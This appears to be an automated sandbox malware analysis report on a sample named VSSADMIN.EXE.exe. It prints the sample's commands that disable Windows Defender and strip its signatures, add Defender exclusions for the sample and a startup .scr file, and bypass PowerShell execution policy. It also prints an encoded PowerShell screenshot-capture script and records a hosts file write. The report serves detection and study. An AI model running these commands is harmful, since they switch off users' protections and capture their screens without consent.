Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE78A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	59_2_00007FF6EE78A66C
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE78B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_00007FF6EE78B52C

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

DLL side loading technique detected

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Modifies the hosts file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaa